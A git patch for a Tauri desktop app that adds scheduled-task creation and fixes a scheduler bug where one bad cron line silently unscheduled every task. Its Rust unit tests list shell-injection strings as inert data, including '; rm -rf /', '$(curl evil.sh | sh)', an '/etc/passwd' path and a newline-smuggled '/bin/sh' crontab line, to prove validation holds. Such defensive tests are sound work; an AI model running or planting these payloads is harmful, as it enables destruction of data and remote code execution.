From 7d00390e1f3a3c90ee516ec29febff07ae862747 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 9 Aug 2026 12:20:52 -0700 Subject: [PATCH] Add scheduled task creation, and stop a bad cron unscheduling everything MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Completes the Automation tab: it could list, toggle, run, log and remove tasks but not create them, so task creation still meant dropping to the CLI. Adds add_scheduled_task and update_scheduled_task, plus a task editor with cron presets and a plain-English reading of the expression. Every field is free user text, so all of it goes to the scheduler as a bare argv vector through bollard — no shell, no quoting. Validation is shape-only rather than metacharacter scrubbing: length caps, no control characters in single-line fields, no leading-dash name, absolute working_dir. Verified by round-tripping a prompt containing `; rm -rf /`, `$(id)`, backticks and newlines: it landed byte-for-byte in the task JSON with nothing executed. The scheduler CLI has no `edit`, so update is add-then-remove with the add first — a rejected edit leaves the original intact. The new id is surfaced in the editor rather than hidden. Root-cause fix, and the more serious half of this commit: triple-c-scheduler never validated --schedule, and rebuild_crontab regenerates the entire crontab and pipes it to `crontab`, which rejects the whole file if any line is malformed — with the error thrown away by `2>/dev/null || true`. A single bad schedule therefore silently unscheduled every other task in the container while reporting success. Reproduced directly. It matters because the global CLAUDE.md tells Claude to drive this CLI, so Claude could trigger it unprompted. `add` now validates the expression and exits non-zero, and rebuild_crontab reports a rejected crontab instead of swallowing it, keeping the offending file for inspection. Verified against the real CLI in this container: a bad schedule is refused without disturbing an existing task's crontab entry, and `0 9 * * 1-5`, `*/30 * * * *`, `0,30 8-17 * * *` and `0 0 1 1 *` are all still accepted. The Rust layer validates independently, agreeing with vixie cron on 23 probed expressions including `1/2` and `*/0` being invalid. 121 frontend tests, 44 Rust tests, both builds clean. Co-Authored-By: Claude Opus 5 (1M context) --- ROADMAP.md | 31 +- .../src/commands/inspect_commands.rs | 745 +++++++++++++++++- app/src-tauri/src/lib.rs | 2 + .../projects/home/AutomationTab.tsx | 28 +- .../projects/home/TaskEditorModal.test.tsx | 202 +++++ .../projects/home/TaskEditorModal.tsx | 329 ++++++++ .../projects/home/taskValidation.test.ts | 156 ++++ .../projects/home/taskValidation.ts | 329 ++++++++ app/src/lib/tauri-commands.ts | 12 +- app/src/lib/types.ts | 16 + container/triple-c-scheduler | 42 +- 11 files changed, 1878 insertions(+), 14 deletions(-) create mode 100644 app/src/components/projects/home/TaskEditorModal.test.tsx create mode 100644 app/src/components/projects/home/TaskEditorModal.tsx create mode 100644 app/src/components/projects/home/taskValidation.test.ts create mode 100644 app/src/components/projects/home/taskValidation.ts diff --git a/ROADMAP.md b/ROADMAP.md index 46d012a..3b1a8c2 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -197,16 +197,39 @@ the config volume by the entrypoint. Generalizes the pattern the MCP tab was rea (holding `~/.claude`). README.md, HOW-TO-USE.md, and CLAUDE.md all still state that OAuth tokens survive a Reset. Pre-existing; not yet corrected. -3. **Stale model placeholders** — see "Not yet scheduled" above. +3. **An invalid cron expression silently unscheduled every task.** Found while adding + task creation to the Automation tab, and the most serious bug in this review. + `triple-c-scheduler` never validated `--schedule`, and `rebuild_crontab` regenerates the + *entire* crontab and pipes it to `crontab`, which rejects the whole file if any single + line is malformed — with the error discarded by `2>/dev/null || true`. So one bad + schedule silently unscheduled every other task in the container, reporting success. + Reproduced directly. This mattered because the global CLAUDE.md instructs Claude to use + this CLI, so Claude itself could trigger it. Fixed at the root: `add` now validates the + expression and exits non-zero, and `rebuild_crontab` reports a rejected crontab instead + of swallowing it. The Rust `add_scheduled_task` command validates independently. -4. **Silent save failures.** Project config saves on blur; failures go only to - `console.error`. No user-visible indication. Fixed in Phase 3 — `useProjectSave` - now renders a Saved / Saving / Save failed indicator and raises a toast. +4. **Reset was destructive with no confirmation.** It deletes both volumes — the login, + installed skills, all session transcripts — from a single unconfirmed click, while the + comparably destructive Remove already confirmed. Now gated by a dialog that names each + loss. Fixed. + +5. **Cancelling authentication did not cancel.** Fixed — see the handoff section above. + +6. **Stale model placeholders** — see "Not yet scheduled" above. + +7. **Silent save failures.** Project config saves on blur; failures went only to + `console.error`. Fixed in Phase 3 — `useProjectSave` now renders a + Saved / Saving / Save failed indicator and raises a toast. --- ## Known gaps left by Phase 2–3 +- **Editing a scheduled task changes its id.** `triple-c-scheduler` has no `edit` + subcommand, and hand-editing its JSON behind its back would desync the crontab, so edit is + implemented as add-then-remove. The add runs first, so a rejected edit leaves the original + intact. The task gets a new id and its older logs stay under the old one; the editor says + so before saving. - **`open_terminal_session` takes no command argument.** "Resume session" and "Manage in terminal" therefore open a bash tab and *type* the command after a fixed prompt delay. It works, but it is timing-dependent and will misfire on a diff --git a/app/src-tauri/src/commands/inspect_commands.rs b/app/src-tauri/src/commands/inspect_commands.rs index 84d9be1..aacc77e 100644 --- a/app/src-tauri/src/commands/inspect_commands.rs +++ b/app/src-tauri/src/commands/inspect_commands.rs @@ -6,9 +6,9 @@ //! 3. Scheduled tasks managed by the in-container `triple-c-scheduler` //! //! Everything here is read-only except the explicitly-mutating scheduler -//! commands at the bottom of the file (enable/disable, run, remove, clear -//! notifications), which shell out to the scheduler's own subcommands rather -//! than editing its state files. +//! commands at the bottom of the file (add/update, enable/disable, run, remove, +//! clear notifications), which shell out to the scheduler's own subcommands +//! rather than editing its state files. //! //! ## Container access //! @@ -29,13 +29,26 @@ //! //! * The `sh -c` scripts below are compile-time constants. No caller-supplied //! value is ever interpolated into them. -//! * Every command that takes a caller-supplied id runs as a plain **argv +//! * Every command that takes a caller-supplied value runs as a plain **argv //! vector** with no shell in the process tree at all, so shell metacharacters //! are inert by construction. On top of that, ids are validated against a //! strict allowlist ([`validate_task_id`], [`validate_session_id`]) that //! admits no shell metacharacters, no `/`, no `.` (so no path traversal into //! the scheduler's task dir), and no leading `-` (so no option injection). //! +//! Creating a task ([`add_scheduled_task`]) is the one place where *arbitrary* +//! user text — a task name, a whole Claude prompt — is handed to the container. +//! It cannot be allowlisted, so it relies on the argv rule above plus +//! [`ValidatedTaskInput`], which caps lengths, forbids control characters in +//! single-line fields, and rejects a name that could be read as an option. +//! +//! The cron expression gets one extra guarantee. It is the only user-supplied +//! value the scheduler writes into the *crontab* (` `), +//! so a newline in it would be a crontab-injection primitive. +//! [`validate_cron_expression`] therefore re-emits the five parsed fields +//! joined by single spaces and only the normalised form is sent onward, so no +//! whitespace the user typed can survive into a crontab line. +//! //! ## Degradation //! //! A stopped or missing container is a normal state, not an error: the @@ -61,6 +74,17 @@ const MAX_NOTIFICATIONS: usize = 50; const CONTAINER_HOME: &str = "/home/claude"; +/// Caps on the free-text fields of a scheduled task. They exist to keep a +/// runaway paste out of the container's task JSON and out of the `docker exec` +/// payload; they are generous enough for a real prompt. +const MAX_TASK_NAME_LEN: usize = 100; +const MAX_TASK_PROMPT_LEN: usize = 8_000; +const MAX_WORKING_DIR_LEN: usize = 512; +const MAX_CRON_LEN: usize = 256; + +/// The scheduler's own default working directory (`cmd_add`). +const DEFAULT_WORKING_DIR: &str = "/workspace"; + // ───────────────────────────────────────────────────────────────────────────── // Response models // @@ -768,12 +792,463 @@ pub async fn get_scheduler_notifications( .collect()) } +// ── Task creation: input validation ────────────────────────────────────────── + +/// Which of the scheduler's two mutually-exclusive schedule flags to use. +/// +/// `triple-c-scheduler add` takes either `--schedule ""` (recurring) or +/// `--at "YYYY-MM-DD HH:MM"` (one-shot) and errors if given both or neither. +/// Modelling that as an enum makes the invalid combinations unrepresentable. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Deserialize)] +#[serde(rename_all = "camelCase")] +pub enum ScheduleKind { + Recurring, + Once, +} + +impl ScheduleKind { + fn flag(self) -> &'static str { + match self { + ScheduleKind::Recurring => "--schedule", + ScheduleKind::Once => "--at", + } + } +} + +/// A task's fields after validation and normalisation. Constructing one is the +/// only way to build the argv for `triple-c-scheduler add`. +#[derive(Debug, Clone, PartialEq, Eq)] +struct ValidatedTaskInput { + name: String, + prompt: String, + kind: ScheduleKind, + /// Normalised cron expression or `YYYY-MM-DD HH:MM` timestamp. + schedule: String, + working_dir: String, +} + +impl ValidatedTaskInput { + /// The argv for `triple-c-scheduler add …`, one element per value. + /// + /// Note what is *not* here: no quoting, no escaping, no `sh -c`. Every + /// field is its own argv element, so quotes, `;`, `$(…)`, backticks and + /// newlines inside a prompt reach the scheduler as literal data. + fn add_args(&self) -> Vec { + vec![ + "add".to_string(), + "--name".to_string(), + self.name.clone(), + "--prompt".to_string(), + self.prompt.clone(), + self.kind.flag().to_string(), + self.schedule.clone(), + "--working-dir".to_string(), + self.working_dir.clone(), + ] + } +} + +/// Reject control characters. Single-line fields admit none at all; the prompt +/// is allowed tab/newline (a multi-line prompt is normal) but never a NUL, +/// which cannot survive the exec API's C strings. +fn reject_control_chars(value: &str, field: &str, allow_newlines: bool) -> Result<(), String> { + let offender = value.chars().find(|c| { + c.is_control() && !(allow_newlines && matches!(c, '\n' | '\r' | '\t')) + }); + match offender { + Some(c) => Err(format!( + "{} cannot contain the control character {:?}.", + field, c + )), + None => Ok(()), + } +} + +fn validate_task_name(name: &str) -> Result { + let name = name.trim(); + if name.is_empty() { + return Err("Task name is required.".to_string()); + } + if name.chars().count() > MAX_TASK_NAME_LEN { + return Err(format!( + "Task name is too long (max {} characters).", + MAX_TASK_NAME_LEN + )); + } + reject_control_chars(name, "Task name", false)?; + // The scheduler assigns `--name`'s value positionally, so a leading dash is + // not exploitable today — but it would be the moment that parser changed, + // and a task called `--id` is a bad idea regardless. + if name.starts_with('-') { + return Err("Task name cannot start with “-”.".to_string()); + } + Ok(name.to_string()) +} + +fn validate_task_prompt(prompt: &str) -> Result { + let prompt = prompt.trim(); + if prompt.is_empty() { + return Err("Task prompt is required.".to_string()); + } + if prompt.chars().count() > MAX_TASK_PROMPT_LEN { + return Err(format!( + "Task prompt is too long (max {} characters).", + MAX_TASK_PROMPT_LEN + )); + } + reject_control_chars(prompt, "Task prompt", true)?; + Ok(prompt.to_string()) +} + +/// `None`/blank falls back to the scheduler's own default, `/workspace`. +fn validate_working_dir(dir: Option<&str>) -> Result { + let dir = dir.map(str::trim).filter(|d| !d.is_empty()).unwrap_or(DEFAULT_WORKING_DIR); + if dir.chars().count() > MAX_WORKING_DIR_LEN { + return Err(format!( + "Working directory is too long (max {} characters).", + MAX_WORKING_DIR_LEN + )); + } + reject_control_chars(dir, "Working directory", false)?; + if !dir.starts_with('/') { + return Err("Working directory must be an absolute path inside the container, e.g. /workspace.".to_string()); + } + if dir.split('/').any(|segment| segment == "..") { + return Err("Working directory cannot contain “..”.".to_string()); + } + Ok(dir.to_string()) +} + +/// One cron field's shape: its human name, its numeric bounds, and the +/// three-letter aliases it accepts (`JAN…DEC`, `SUN…SAT`). +struct CronField { + label: &'static str, + min: u32, + max: u32, + names: &'static [&'static str], + /// Numeric value of `names[0]` (1 for January, 0 for Sunday). + name_base: u32, +} + +const MONTH_NAMES: [&str; 12] = [ + "jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec", +]; +const DOW_NAMES: [&str; 7] = ["sun", "mon", "tue", "wed", "thu", "fri", "sat"]; + +/// Bounds match Debian/vixie cron, which is what the container runs: day of +/// week accepts both 0 and 7 for Sunday, and month/day-of-week accept names. +const CRON_FIELDS: [CronField; 5] = [ + CronField { label: "minute", min: 0, max: 59, names: &[], name_base: 0 }, + CronField { label: "hour", min: 0, max: 23, names: &[], name_base: 0 }, + CronField { label: "day of month", min: 1, max: 31, names: &[], name_base: 0 }, + CronField { label: "month", min: 1, max: 12, names: &MONTH_NAMES, name_base: 1 }, + CronField { label: "day of week", min: 0, max: 7, names: &DOW_NAMES, name_base: 0 }, +]; + +/// Largest `/step` accepted. Cron itself tolerates a step wider than the field +/// (`*/61` is legal, it just means "once"), so this only fences off absurdity. +const MAX_CRON_STEP: u32 = 1_000; + +fn cron_value(field: &CronField, token: &str) -> Result { + if !token.is_empty() && token.chars().all(|c| c.is_ascii_digit()) { + // `token` is all digits; a long run of them would overflow, so bound it + // before parsing rather than after. + let value = token + .parse::() + .map_err(|_| format!("{:?} is out of range for the {} field.", token, field.label))?; + if value < field.min || value > field.max { + return Err(format!( + "{:?} is out of range for the {} field ({}–{}).", + token, field.label, field.min, field.max + )); + } + return Ok(value); + } + + let lowered = token.to_ascii_lowercase(); + if let Some(index) = field.names.iter().position(|n| *n == lowered) { + return Ok(index as u32 + field.name_base); + } + + Err(format!( + "{:?} is not valid in the {} field.", + token, field.label + )) +} + +/// One comma-separated element of a cron field: `*`, `5`, `1-5`, `*/10`, +/// `1-5/2`, or a name. A step is only legal after `*` or a range — vixie cron +/// rejects `1/2`, so accepting it here would produce a crontab it refuses. +fn validate_cron_element(field: &CronField, element: &str) -> Result<(), String> { + if element.is_empty() { + return Err(format!("Empty value in the {} field.", field.label)); + } + + let (base, step) = match element.split_once('/') { + Some((base, step)) => (base, Some(step)), + None => (element, None), + }; + + if let Some(step) = step { + if step.is_empty() || step.len() > 4 || !step.chars().all(|c| c.is_ascii_digit()) { + return Err(format!( + "{:?} in the {} field: a step must be a number, like */5.", + element, field.label + )); + } + let step: u32 = step.parse().unwrap_or(0); + if step == 0 || step > MAX_CRON_STEP { + return Err(format!( + "{:?} in the {} field: a step must be between 1 and {}.", + element, field.label, MAX_CRON_STEP + )); + } + if base != "*" && !base.contains('-') { + return Err(format!( + "{:?} in the {} field: a step can only follow * or a range, like */5 or 1-5/2.", + element, field.label + )); + } + } + + if base == "*" { + return Ok(()); + } + match base.split_once('-') { + Some((from, to)) => { + cron_value(field, from)?; + cron_value(field, to)?; + } + None => { + cron_value(field, base)?; + } + } + Ok(()) +} + +/// Validate a cron expression and return it normalised to exactly five fields +/// separated by single spaces. +/// +/// Two reasons this runs host-side instead of trusting the container: +/// +/// 1. The scheduler does **not** validate the expression. It writes the task +/// JSON, then rebuilds the whole crontab and pipes it to `crontab`, which +/// rejects the *entire file* if any single line is malformed — and the +/// rebuild swallows that error (`|| true`). One bad expression therefore +/// silently unschedules every other task in the container. Verified against +/// the real CLI. +/// 2. The normalised return value is what gets sent onward, so no newline the +/// user typed can reach a crontab line. +fn validate_cron_expression(expression: &str) -> Result { + if expression.len() > MAX_CRON_LEN { + return Err(format!( + "Cron expression is too long (max {} characters).", + MAX_CRON_LEN + )); + } + let fields: Vec<&str> = expression.split_whitespace().collect(); + if fields.len() != 5 { + return Err(format!( + "A cron schedule needs exactly 5 fields (minute hour day-of-month month day-of-week); got {}.", + fields.len() + )); + } + + for (spec, field) in CRON_FIELDS.iter().zip(fields.iter()) { + for element in field.split(',') { + validate_cron_element(spec, element)?; + } + } + + Ok(fields.join(" ")) +} + +/// Validate the one-shot `--at` timestamp. +/// +/// The scheduler matches `^[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$` and +/// converts it to a cron expression, so the shape is checked strictly here +/// (chrono's `%m` would happily accept a one-digit month the scheduler will +/// reject) and chrono is used only to reject impossible dates like `02-30`. +fn validate_at_timestamp(at: &str) -> Result { + let at = at.trim(); + let well_formed = at.len() == 16 + && at.as_bytes().iter().enumerate().all(|(i, b)| match i { + 4 | 7 => *b == b'-', + 10 => *b == b' ', + 13 => *b == b':', + _ => b.is_ascii_digit(), + }); + if !well_formed { + return Err(format!( + "One-shot time must look like \"YYYY-MM-DD HH:MM\"; got {:?}.", + at + )); + } + chrono::NaiveDateTime::parse_from_str(at, "%Y-%m-%d %H:%M") + .map_err(|_| format!("{:?} is not a real date and time.", at))?; + Ok(at.to_string()) +} + +fn validate_task_input( + name: &str, + prompt: &str, + kind: ScheduleKind, + schedule: &str, + working_dir: Option<&str>, +) -> Result { + Ok(ValidatedTaskInput { + name: validate_task_name(name)?, + prompt: validate_task_prompt(prompt)?, + kind, + schedule: match kind { + ScheduleKind::Recurring => validate_cron_expression(schedule)?, + ScheduleKind::Once => validate_at_timestamp(schedule)?, + }, + working_dir: validate_working_dir(working_dir)?, + }) +} + +/// Pull the new task's id out of `add`'s output block, which starts: +/// +/// ```text +/// Task created: +/// ID: a1b2c3d4 +/// Name: … +/// ``` +/// +/// The first `ID:` line wins (the echoed prompt comes later and could contain +/// anything), and the result still has to pass [`validate_task_id`]. +fn parse_created_task_id(output: &str) -> Option { + output + .lines() + .find_map(|line| line.trim().strip_prefix("ID:")) + .map(|value| value.trim().to_string()) + .filter(|id| validate_task_id(id).is_ok()) +} + // ── Mutating scheduler commands ────────────────────────────────────────────── // // These delegate to `triple-c-scheduler`'s own subcommands (which also rebuild // the crontab) instead of editing its JSON, and each runs as a bare argv vector // with a validated id. +/// Create a task via the scheduler's `add`, returning the new task's id. +#[tauri::command] +pub async fn add_scheduled_task( + project_id: String, + name: String, + prompt: String, + schedule_kind: ScheduleKind, + schedule: String, + working_dir: Option, + state: State<'_, AppState>, +) -> Result { + let input = validate_task_input( + &name, + &prompt, + schedule_kind, + &schedule, + working_dir.as_deref(), + )?; + let container_id = require_running_container(&project_id, &state).await?; + + let output = run_scheduler(&container_id, input.add_args()).await?; + let task_id = parse_created_task_id(&output).ok_or_else(|| { + format!( + "The scheduler did not report a task id. Its output was: {}", + output.trim() + ) + })?; + + log::info!( + "Added scheduler task {} ({:?}) in project {}", + task_id, + input.name, + project_id + ); + Ok(task_id) +} + +/// Replace an existing task with an edited copy, returning the **new** task id. +/// +/// `triple-c-scheduler` has no `edit`/`update` subcommand — its subcommands are +/// add / remove / enable / disable / list / logs / run / notifications — and +/// hand-editing its task JSON from here would bypass the crontab rebuild that +/// every one of those does. So an edit is `add` followed by `remove`: +/// +/// * **In that order**, so a rejected `add` leaves the original untouched +/// rather than deleting a prompt the user cannot get back. The cost is a +/// sub-second window in which both tasks are in the crontab. +/// * The task therefore gets a **new id**. Its old log directory +/// (`~/.claude/scheduler/logs//`) stays behind under the old id; the +/// UI warns about this before saving. +/// * `enabled` is carried over explicitly, because `add` always creates an +/// enabled task and silently re-enabling a task the user had switched off +/// would schedule a run they did not ask for. +#[tauri::command] +pub async fn update_scheduled_task( + project_id: String, + task_id: String, + name: String, + prompt: String, + schedule_kind: ScheduleKind, + schedule: String, + working_dir: Option, + enabled: Option, + state: State<'_, AppState>, +) -> Result { + validate_task_id(&task_id)?; + let input = validate_task_input( + &name, + &prompt, + schedule_kind, + &schedule, + working_dir.as_deref(), + )?; + let container_id = require_running_container(&project_id, &state).await?; + + let output = run_scheduler(&container_id, input.add_args()).await?; + let new_id = parse_created_task_id(&output).ok_or_else(|| { + format!( + "The scheduler did not report a task id, so the original task was left in place. Its output was: {}", + output.trim() + ) + })?; + + run_scheduler( + &container_id, + vec!["remove".to_string(), "--id".to_string(), task_id.clone()], + ) + .await + .map_err(|e| { + format!( + "Saved the edited task as {}, but could not remove the original {}: {} — remove it by hand or both will run.", + new_id, task_id, e + ) + })?; + + if enabled == Some(false) { + if let Err(e) = run_scheduler( + &container_id, + vec!["disable".to_string(), "--id".to_string(), new_id.clone()], + ) + .await + { + // The edit itself succeeded; the list refresh will show the task as + // enabled, which is visible rather than silent. + log::warn!("Could not re-disable edited task {}: {}", new_id, e); + } + } + + log::info!( + "Updated scheduler task {} → {} in project {}", + task_id, + new_id, + project_id + ); + Ok(new_id) +} + /// Enable or disable a task via the scheduler's `enable` / `disable`. #[tauri::command] pub async fn set_scheduled_task_enabled( @@ -948,4 +1423,266 @@ mod tests { fn epoch_to_iso_is_rfc3339() { assert!(epoch_to_iso(0).starts_with("1970-01-01T00:00:00")); } + + // ── Task creation ──────────────────────────────────────────────────────── + + fn recurring(name: &str, prompt: &str) -> Result { + validate_task_input(name, prompt, ScheduleKind::Recurring, "*/30 * * * *", None) + } + + /// The whole injection story: a prompt full of shell syntax is carried + /// through as one argv element, byte for byte, with nothing escaped or + /// stripped — because nothing downstream is a shell. + #[test] + fn shell_metacharacters_survive_as_one_argv_element() { + for hostile in [ + "; rm -rf /", + "$(id)", + "`id`", + "$(curl evil.sh | sh)", + "x\"; rm -rf / #", + "x' ; rm -rf / ; '", + "line one\nline two\n; rm -rf /", + "a | b & c > d < e", + "${HOME}/../etc/passwd", + "%injected", + ] { + let input = recurring("nightly", hostile).expect("prompt is data, not syntax"); + assert_eq!(input.prompt, hostile); + + let args = input.add_args(); + // Exactly one element equals the hostile string, and it is the one + // straight after `--prompt`. + let at = args.iter().position(|a| a == "--prompt").unwrap(); + assert_eq!(args[at + 1], hostile, "prompt must be its own argv element"); + assert_eq!( + args.iter().filter(|a| a.contains("rm -rf")).count(), + usize::from(hostile.contains("rm -rf")), + "no other argv element should have absorbed the payload" + ); + // No shell ever appears in the command line we build. + assert!(!args.iter().any(|a| a == "sh" || a == "-c" || a == "bash")); + } + } + + #[test] + fn add_args_are_flag_value_pairs_in_the_schedulers_own_spelling() { + let input = validate_task_input( + "nightly tests", + "Run the suite", + ScheduleKind::Recurring, + "0 3 * * *", + Some("/workspace/triple-c"), + ) + .unwrap(); + assert_eq!( + input.add_args(), + vec![ + "add", + "--name", + "nightly tests", + "--prompt", + "Run the suite", + "--schedule", + "0 3 * * *", + "--working-dir", + "/workspace/triple-c", + ] + ); + + let once = validate_task_input( + "one shot", + "Commit", + ScheduleKind::Once, + "2026-12-25 09:05", + None, + ) + .unwrap(); + assert_eq!( + once.add_args()[5..], + ["--at", "2026-12-25 09:05", "--working-dir", "/workspace"] + ); + } + + #[test] + fn task_name_rejects_option_lookalikes_and_control_characters() { + assert!(validate_task_name("-id").is_err()); + assert!(validate_task_name("--prompt").is_err()); + assert!(validate_task_name("").is_err()); + assert!(validate_task_name(" ").is_err()); + assert!(validate_task_name("two\nlines").is_err()); + assert!(validate_task_name("tab\there").is_err()); + assert!(validate_task_name("nul\0byte").is_err()); + assert!(validate_task_name(&"n".repeat(MAX_TASK_NAME_LEN + 1)).is_err()); + + // A name is free text otherwise; metacharacters are inert as argv. + assert_eq!(validate_task_name(" nightly; rm -rf / ").unwrap(), "nightly; rm -rf /"); + assert_eq!(validate_task_name("$(id)").unwrap(), "$(id)"); + assert_eq!(validate_task_name(&"n".repeat(MAX_TASK_NAME_LEN)).unwrap().len(), MAX_TASK_NAME_LEN); + } + + #[test] + fn task_prompt_allows_newlines_but_not_nul_or_novels() { + assert_eq!( + validate_task_prompt("first\nsecond\ttabbed").unwrap(), + "first\nsecond\ttabbed" + ); + assert!(validate_task_prompt("").is_err()); + assert!(validate_task_prompt(" \n ").is_err()); + assert!(validate_task_prompt("bad\0nul").is_err()); + assert!(validate_task_prompt(&"p".repeat(MAX_TASK_PROMPT_LEN + 1)).is_err()); + } + + #[test] + fn working_dir_must_be_absolute() { + assert_eq!(validate_working_dir(None).unwrap(), "/workspace"); + assert_eq!(validate_working_dir(Some(" ")).unwrap(), "/workspace"); + assert_eq!(validate_working_dir(Some("/workspace/app")).unwrap(), "/workspace/app"); + + for bad in [ + "workspace", + "./workspace", + "~/workspace", + "-/workspace", + "/workspace/../etc", + "/work\nspace", + "/work\0space", + ] { + assert!( + validate_working_dir(Some(bad)).is_err(), + "should have rejected {:?}", + bad + ); + } + assert!(validate_working_dir(Some(&format!("/{}", "d".repeat(MAX_WORKING_DIR_LEN)))).is_err()); + } + + #[test] + fn cron_accepts_real_expressions() { + for good in [ + "* * * * *", + "*/30 * * * *", + "0 3 * * *", + "0 9 * * 1-5", + "0,30 9-17 * * 1-5", + "15 0 1 1 *", + "0 9 * * 0", + // vixie cron takes 7 as Sunday, and three-letter names. + "0 9 * * 7", + "0 9 * * MON-FRI", + "0 0 1 JAN *", + "0 0 1 jan sun", + // A step wider than the field is legal; it just means "once". + "0-59/70 * * * *", + "1-5/2 * * * *", + "05 09 * * *", + ] { + assert!( + validate_cron_expression(good).is_ok(), + "should have accepted {:?}: {:?}", + good, + validate_cron_expression(good) + ); + } + } + + #[test] + fn cron_rejects_what_crontab_would_reject() { + for bad in [ + "", + "* * * *", // four fields + "* * * * * *", // six + "@daily", // shorthand the scheduler cannot place in a line + "not a cron", + "99 * * * *", // minute out of range + "0 24 * * *", // hour out of range + "0 0 0 1 *", // day-of-month is 1-based + "0 9 * * 8", // day-of-week is 0-7 + "0 9 * 13 *", // month out of range + "*/0 * * * *", // zero step + "1/2 * * * *", // step without * or a range + "0 9 * * MON-FRO", // not a weekday + "0 9 * * mon,", // empty list element + "0 9 * * ,mon", + "0 9 * * 1--5", + "0 9 * * 1-5/", // empty step + "0 9 * * 1-5/x", + // Names only apply to their own field: no month in day-of-week, + // and no names at all in minute/hour/day-of-month. + "0 9 * * jan", + "jan 9 * * *", + "0 mon * * *", + "0 9 * * *; rm -rf /", + "$(id) * * * *", + "0 9 * * *`id`", + "99999999999999999999 * * * *", + ] { + assert!( + validate_cron_expression(bad).is_err(), + "should have rejected {:?}", + bad + ); + } + assert!(validate_cron_expression(&"1 ".repeat(200)).is_err()); + } + + /// The crontab line is ` `, so any whitespace the + /// user typed has to be flattened before it can start a second line. + #[test] + fn cron_normalisation_flattens_whitespace_and_newlines() { + assert_eq!( + validate_cron_expression(" 0 9 * * * ").unwrap(), + "0 9 * * *" + ); + assert_eq!( + validate_cron_expression("0 9 * *\n*").unwrap(), + "0 9 * * *" + ); + assert_eq!(validate_cron_expression("0\t9\t*\t*\t*").unwrap(), "0 9 * * *"); + // An injected extra line is extra fields, and five is five. + assert!(validate_cron_expression("* * * * *\n* * * * * /bin/sh").is_err()); + + let input = + validate_task_input("n", "p", ScheduleKind::Recurring, "0 9 * *\n*", None).unwrap(); + assert!(!input.schedule.contains('\n')); + assert_eq!(input.schedule, "0 9 * * *"); + } + + #[test] + fn at_timestamp_matches_the_schedulers_own_format() { + assert_eq!( + validate_at_timestamp(" 2026-12-25 09:05 ").unwrap(), + "2026-12-25 09:05" + ); + for bad in [ + "", + "tomorrow", + "2026-1-5 09:05", // the scheduler's regex demands two digits + "2026-12-25T09:05", + "2026-12-25 09:05:00", + "2026-13-01 09:05", + "2026-02-30 09:05", // not a real day + "2026-12-25 25:00", + "2026-12-25 09:05\n* * * * * /bin/sh", + "$(date) 09:05", + ] { + assert!( + validate_at_timestamp(bad).is_err(), + "should have rejected {:?}", + bad + ); + } + } + + #[test] + fn created_task_id_comes_from_the_first_id_line_and_is_revalidated() { + let output = "Task created:\n ID: 5c2fa70d\n Name: nightly\n Type: recurring\n Schedule: */30 * * * *\n Prompt: ID: not-this-one\n"; + assert_eq!(parse_created_task_id(output).as_deref(), Some("5c2fa70d")); + + assert_eq!(parse_created_task_id("").as_deref(), None); + assert_eq!(parse_created_task_id("Task created:\n").as_deref(), None); + // A malformed id is dropped rather than passed to a later subcommand. + assert_eq!(parse_created_task_id(" ID: ../../etc/passwd\n").as_deref(), None); + assert_eq!(parse_created_task_id(" ID: a; rm -rf /\n").as_deref(), None); + } } diff --git a/app/src-tauri/src/lib.rs b/app/src-tauri/src/lib.rs index bcc6655..287264a 100644 --- a/app/src-tauri/src/lib.rs +++ b/app/src-tauri/src/lib.rs @@ -221,6 +221,8 @@ pub fn run() { commands::inspect_commands::resume_session_command, commands::inspect_commands::list_container_capabilities, commands::inspect_commands::list_scheduled_tasks, + commands::inspect_commands::add_scheduled_task, + commands::inspect_commands::update_scheduled_task, commands::inspect_commands::get_scheduled_task_log, commands::inspect_commands::set_scheduled_task_enabled, commands::inspect_commands::run_scheduled_task_now, diff --git a/app/src/components/projects/home/AutomationTab.tsx b/app/src/components/projects/home/AutomationTab.tsx index 346ae86..f481cb7 100644 --- a/app/src/components/projects/home/AutomationTab.tsx +++ b/app/src/components/projects/home/AutomationTab.tsx @@ -14,6 +14,7 @@ import Button from "../../ui/Button"; import Toggle from "../../ui/Toggle"; import Modal from "../../ui/Modal"; import StatusIndicator from "../../ui/StatusIndicator"; +import TaskEditorModal from "./TaskEditorModal"; import { formatAge } from "./format"; interface Props { @@ -31,6 +32,8 @@ export default function AutomationTab({ project }: Props) { const [busyTaskId, setBusyTaskId] = useState(null); const [log, setLog] = useState<{ task: ScheduledTask; text: string } | null>(null); const [confirmRemoveId, setConfirmRemoveId] = useState(null); + /** `undefined` = closed, `null` = creating, a task = editing it. */ + const [editing, setEditing] = useState(undefined); const pushToast = useAppState((s) => s.pushToast); const running = project.status === "running"; @@ -148,9 +151,14 @@ export default function AutomationTab({ project }: Props) { {" "} inside the container.

- +
+ + +
{!running ? ( @@ -159,7 +167,7 @@ export default function AutomationTab({ project }: Props) {

) : tasks.length === 0 && !loading ? (

- No scheduled tasks. Ask Claude to add one with{" "} + No scheduled tasks yet. Use New task, or ask Claude to add one with{" "} triple-c-scheduler add.

) : ( @@ -203,6 +211,9 @@ export default function AutomationTab({ project }: Props) { > Run now + @@ -219,6 +230,15 @@ export default function AutomationTab({ project }: Props) { )} + {editing !== undefined && ( + setEditing(undefined)} + onSaved={load} + /> + )} + {log && ( "a1b2c3d4"); +const updateScheduledTask = vi.fn(async () => "e5f6a7b8"); + +vi.mock("../../../lib/tauri-commands", () => ({ + addScheduledTask: (...args: unknown[]) => addScheduledTask(...(args as [])), + updateScheduledTask: (...args: unknown[]) => updateScheduledTask(...(args as [])), +})); + +/** Modal focuses via rAF; jsdom needs a flush. */ +async function flushFocus() { + await act(async () => { + vi.advanceTimersByTime(20); + }); +} + +const baseProject: Project = { + id: "p1", + name: "api-server", + paths: [{ host_path: "/home/user/api", mount_name: "api" }], + container_id: "c1", + status: "running", + backend: "anthropic", + bedrock_config: null, + ollama_config: null, + openai_compatible_config: null, + allow_docker_access: false, + sandbox_mode_enabled: true, + mission_control_enabled: false, + auth_bridge_enabled: false, + use_shared_auth_token: true, + full_permissions: false, + permission_mode: "bypass", + ssh_key_path: null, + git_token: null, + git_user_name: null, + git_user_email: null, + custom_env_vars: [], + port_mappings: [], + claude_instructions: null, + claude_code_settings: null, + 